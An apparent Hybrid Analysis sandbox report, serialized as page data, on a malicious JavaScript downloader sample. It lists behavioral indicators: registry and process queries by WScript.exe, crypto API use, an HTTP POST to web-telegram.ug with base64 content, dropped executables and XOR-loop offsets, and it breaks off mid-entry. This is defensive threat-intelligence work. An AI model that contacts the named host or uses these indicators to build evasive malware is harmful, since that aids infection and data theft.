26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 63:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T516,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious HEUR_TrojanDownloader_Script_Generic Sample 75d80a67e5fd… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 75d80a67e5fd…. Malware family: HEUR_TrojanDownloader_Script_Generic. Threat score 100/100. 2/27 AV engines flagged this file. 6 malicious and 24 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4","keywords":["Malicious","HEUR_TrojanDownloader_Script_Generic","malware analysis","sandbox report","threat intelligence","75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4"],"about":{"@type":"SoftwareApplication","name":"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin","applicationCategory":["script","javascript"],"identifier":"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"HEUR_TrojanDownloader_Script_Generic","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":24},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4ba,Found reference to API "Windows.CreateThreadTime" (Indicator: "CreateThread"; Source: "00000000-00004092.00000000.124993.D4240000.00000004.mdmp, 00000000-00004092.00000002.128835.D4240000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp")28:T633,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp")29:T411,Found reference to API "LoadLibraryEx failed" (Indicator: "LoadLibrary"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp, 00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004092.00000002.128835.5A7F4000.00000002.mdmp, 00000000-00004092.00000002.128835.6B8F5000.00000002.mdmp")2a:T42c,Found string - \\.\DISPLAY3; Source: "00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp") Found string - \\.\DISPLAY4; Source: "00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp") Found string - \\.\DISPLAY5; Source: "00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp") Found string - \\.\DISPLAY2; Source: "00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp") Found string - \\.\DISPLAY1; Source: "00000000-00004092.00000000.124993.D20C0000.00000004.mdmp, 00000000-00004092.00000001.126915.D20C0000.00000004.mdmp, 00000000-00004092.00000002.128835.D20C0000.00000004.mdmp")2b:T54b,"WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\SHELL\OPEN\DROPTARGET") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\DROPTARGET") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS")2c:Ta00,"WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-839604439 [PID: 2804] "WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-839612574 [PID: 2804] "WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-840049869 [PID: 2804] "WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-840058742 [PID: 2804] "WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-840235406 [PID: 2804] "WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-840244094 [PID: 2804] "WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-841174930 [PID: 2804] "WScript.exe" queried SystemProcessInformation at 00000000-00002804-00000C15-841183415 [PID: 2804] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-842519551 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-842531834 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-842953465 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-842963054 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-843145397 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-843154849 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-843358865 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-843367701 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-889587325 [PID: 6836] "wscript.exe" queried SystemProcessInformation at 00000000-00006836-00000C15-889595249 [PID: 6836] "Utilify_8u8a563i.exe" queried SystemProcessInformation at 00000000-00005108-00000C15-893738902 [PID: 5108] "Utilify_8u8a563i.exe" queried SystemProcessInformation at 00000000-00005108-00000C15-893745948 [PID: 5108] "Utilify_8u8a563i.exe" queried SystemProcessInformation at 00000000-00005108-00000C15-893915208 [PID: 5108] "Utilify_8u8a563i.exe" queried SystemProcessInformation at 00000000-00005108-00000C15-893922458 [PID: 5108] "Utilify_8u8a563i.exe" queried SystemProcessInformation at 00000000-00005108-00000C15-894581714 [PID: 5108] "Utilify_8u8a563i.exe" queried SystemProcessInformation at 00000000-00005108-00000C15-894589381 [PID: 5108] "Utilify_8u8a563i.tmp" queried SystemProcessInformation at 00000000-00000952-00000C15-895682274 [PID: 952]2d:T1317,Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "TStrongRandom: Failed to get address of BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "TStrongRandom: Failed to get address of BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "TStrongRandom: BCryptGenRandom failed (0x%x)" (Indicator: "BCryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "TStrongRandom: BCryptGenRandom failed (0x%x)" (Indicator: "CryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "to get address of BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "to get address of BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "00000000-00005108.00000002.127043.00DF1000.00000020.mdmp") Found api reference "CryptDecodeObject" (Indicator: "CryptDecodeObject"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "PFXImportCertStore" (Indicator: "PFXImportCertStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertGetNameStringW" (Indicator: "CertGetNameStringW"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertNameToStrW" (Indicator: "CertNameToStrW"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertDuplicateCertificateContext" (Indicator: "CertDuplicateCertificateContext"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertOpenSystemStoreW" (Indicator: "CertOpenSystemStoreW"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertFindChainInStore" (Indicator: "CertFindChainInStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "CertFindCertificateInStore" (Indicator: "CertFindCertificateInStore"; Source: "00000000-00000952.00000001.125240.00439000.00000004.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00004092.00000001.126915.5ACD7000.00000002.mdmp")2e:T4b3,Contains base64 string in header "POST" in header "POST /api/ HTTP/1.1Content-Type: application/jsonHost: web-telegram.ugConnection: closeTransfer-Encoding: chunked" Contains base64 string in header "1Content" in header "POST /api/ HTTP/1.1Content-Type: application/jsonHost: web-telegram.ugConnection: closeTransfer-Encoding: chunked" Contains base64 string in header "Type" in header "POST /api/ HTTP/1.1Content-Type: application/jsonHost: web-telegram.ugConnection: closeTransfer-Encoding: chunked" Contains base64 string in header "application/jsonHost" in header "POST /api/ HTTP/1.1Content-Type: application/jsonHost: web-telegram.ugConnection: closeTransfer-Encoding: chunked" Contains base64 string in header "telegram" in header "POST /api/ HTTP/1.1Content-Type: application/jsonHost: web-telegram.ugConnection: closeTransfer-Encoding: chunked" Contains base64 string in header "ugConnection" in header "POST /api/ HTTP/1.1Content-Type: application/jsonHost: web-telegram.ugConnection: closeTransfer-Encoding: chunked" Contains base64 string in header "Encoding" in header "POST /api/ HTTP/1.1Content-Type: application/jsonHost: web-telegram.ugConnection: closeTransfer-Encoding: chunked"2f:T414,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to decrypt/decode data Matched sigs: Contains CRYPTO related strings Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: References bcrypt module and functions (used for encryption/decryption) Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Drops file with high entropy indicating encryption/obfuscation Matched sigs: YARA signature match – Encryption algorithm30:T120ed,Found XOR loop in file "libGLESv2.dll" at offset 1800576; code bytes = 30d0 Found XOR loop in file "libGLESv2.dll" at offset 2202780; code bytes = 30d0 Found XOR loop in file "libGLESv2.dll" at offset 4982132; code bytes = 30d0 Found XOR loop in file "libGLESv2.dll" at offset 5211068; code bytes = 30d0 Found XOR loop in file "libGLESv2.dll" at offset 978777; code bytes = 33c1 Found XOR loop in file "libGLESv2.dll" at offset 3697683; code bytes = 33c1 Found XOR loop in file "libGLESv2.dll" at offset 4133435; code bytes = 33c1 Found XOR loop in file "libGLESv2.dll" at offset 4133468; code bytes = 33c1 Found XOR loop in file "libGLESv2.dll" at offset 5210368; code bytes = 33c1 Found XOR loop in file "libGLESv2.dll" at offset 369284; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 388330; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 396431; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 697127; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 973954; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 974894; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 975105; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 975455; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 976445; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1401011; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1408758; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1425947; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1590099; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1622840; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1624966; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1940385; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1941939; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1986302; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 1986644; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 2163135; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 2407025; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 2409902; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3106030; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3507944; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3644467; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3644883; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3645356; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3647681; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3650786; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 3880220; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 4257597; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 4258793; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 4259931; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 4260565; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 4511612; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 5058989; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 5075462; code bytes = 8030 Found XOR loop in file "libGLESv2.dll" at offset 5151978; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 105341; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 392140; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 1844264; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 1889135; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 1965115; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 1972268; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 2044574; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 2152014; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 2286250; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 4088433; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 4583812; code bytes = 30d0 Found XOR loop in file "Grape.exe" at offset 1086600; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 1086727; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 1087704; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 1915649; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 2314136; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 2314198; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 2314237; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 2316010; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 2316364; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 2781991; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 2782919; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 3188904; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 3600878; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 3870129; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4348105; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4799399; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4799599; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4800263; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4800483; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4806455; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4806623; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4807191; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4807338; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 4812884; code bytes = 33c1 Found XOR loop in file "Grape.exe" at offset 105340; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 398524; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 403212; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 1328342; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 2327319; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 3530144; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 3530335; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 3530624; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4128567; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4128598; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4131857; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4131893; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4132086; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4132117; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4132773; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4132809; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4133157; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4133188; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4159555; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4160305; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4607390; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4607511; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4699653; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 4980491; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 5204510; code bytes = 8030 Found XOR loop in file "Grape.exe" at offset 5210445; code bytes = 8030 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 755909; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 762999; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 764865; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 766895; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 768399; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 771607; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 776639; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 781525; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 786599; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 787259; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 792173; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 793887; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 802709; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 803705; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 811263; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 813307; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 815335; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 817359; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 819391; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 934191; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 947847; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 999972; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1033523; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1044928; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1117562; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1133900; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1145502; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1156052; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1259882; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1290067; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1397743; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1399988; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1413924; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1620257; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1621035; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1644450; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1652092; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1692300; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1741583; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1846097; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1880069; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1885112; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1888720; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 1976808; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2092661; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2104065; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2198291; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2208025; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2269608; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2307352; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 2314091; code bytes = 30d0 Found XOR loop in file "Utilify_8u8a563i.exe" at offset 